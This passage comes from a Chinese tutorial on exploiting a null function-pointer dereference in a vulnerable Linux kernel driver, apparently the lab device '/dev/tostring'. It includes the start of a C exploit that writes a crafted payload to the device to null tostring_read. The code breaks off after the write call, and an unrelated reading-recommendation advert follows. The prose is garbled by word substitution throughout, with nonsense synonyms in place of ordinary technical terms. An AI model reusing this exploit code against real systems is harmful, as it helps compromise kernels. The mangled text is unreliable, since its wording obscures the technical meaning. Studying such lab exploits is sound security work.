正如我们所见,在“ten '*'”后会出现一个“S”。这就会使函数指针tostring_read无效,而这一点对我们有力。
然则,在将其设置为null之后,我们须要攫取它,以使其被撤消引用。是以,我们须要攫取该文件,以触发启用“tostring_read()!”敕令。
今朝一切都比较顺利,但我们仍需经由过程攫取文件使其撤消引用。
我们开端编写开辟法度榜样。我们之前应用Python说话进行编写,如今我们换成C说话。
我们先写一个较为简单的以触发敕令和清除函数指针。
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <sys/mman.h>
- #include <fcntl.h>
- /**/
- #define vulnerable_device "/dev/tostring"
- /**/
- void main(void){
- int fd;
- char payload[15];
- /**/
- memset(payload, '*', 10);
- /**/
- payload[10] = 'S';
- payload[11] = 0;
- /**/
- fd = open(vulnerable_device, O_RDWR);
- if(fd < 0){
- printf("Couldn't open device!");
- }
- /**/
- write(fd, payload, 12);
推荐阅读
沙龙晃荡 | 去哪儿、陌陌、ThoughtWorks在主动化运维中的实践!10.28不见不散! 大年夜数据这个词,几乎天天都邑听到。不过谈到这个词典,要么是科技公司介绍新技巧、要么是专家学者介绍将>>>详细阅读
地址:http://www.17bianji.com/lsqh/38226.html
1/2 1